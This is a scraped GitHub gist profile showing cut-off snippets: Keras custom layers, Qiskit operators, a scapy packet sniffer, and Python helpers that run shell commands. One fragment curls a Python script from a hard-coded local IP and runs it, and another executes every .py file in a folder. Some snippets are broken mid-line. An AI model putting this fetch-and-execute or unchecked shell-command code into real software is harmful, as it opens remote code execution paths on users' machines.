Skip to content

Instantly share code, notes, and snippets.

View NimishMishra's full-sized avatar

NimishMishra

View GitHub Profile
model.save("fiepath")
model = load_model("filepath", custom_objects={'Linear' : Linear})
inputs = Input(...)
layer_2 = Dense(4, ...)(inputs)
layer_3 = Linear(name= "layer_3")(layer_2)
layer_4 = Linear(name="layer_4")(layer_3)
layer_5 = Linear(name="layer_5")(layer_4)
layer_6 = Linear(name="layer_6")(layer_5)
output = Dense(...,activation='softmax')(layer_6)
model = Model(inputs=inputs, outputs=output)
class Linear(Layer):
def __init__(self, batch_size=64, units=4,**kwargs):
super(Linear, self).__init__(**kwargs)
)
def get_config(self):
config = super(Linear, self).get_config()
return config
def call(self, inputs):
from qiskit.aqua.operators import Z, Y, X
from qiskit.aqua.operators import StateFn
QUBITS = 4
operatorZ = Z ^ Z ^ Z ^ Z
operatorX = X ^ X ^ X ^ X
operatorY = Y ^ Y ^ Y ^ Y
def quantum_layer(initial_parameters):
# expecting parameters to be a numpy array
from collections import Counter
from scapy.all import sniff
packet_counts = Counter()
def custom_action(packet):
key = tuple(sorted([packet[0][1].src, packet[0][1].dst]))
packet_counts.update([key])
return f"Packet #{sum(packet_counts.values())}: {packet[0][1].src} ==> {packet[0][1].dst}"
import subprocess
import os
import time
import requests
def run_command(command):
command = command.rstrip()
import subprocess
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
output = "Failed to execute command " + str(e)
import subprocess
import time
import os
import sys
import signal
loaded_files = []
data = ""
def run_command(command):
def run_scripts():
current_dir = os.getcwd()
for filename in os.listdir(current_dir):
if(filename != "setup_server.py" and filename != "downloader.py"):
try:
dot_index = filename.index(".")
extension = filename[dot_index + 1:]
if(extension == "py"):
command_list = []
command_list.append("python3")
loaded_files = []
def refresh_downloader():
COMMAND = "curl http://192.168.43.38:9000/downloader.py -o downloader.py"
run_command(COMMAND)
COMMAND = "python3 downloader.py"
command_split = COMMAND.split(" ")
subprocess.Popen(command_split)
os._exit(os.EX_OK)
def fetch_directory_list():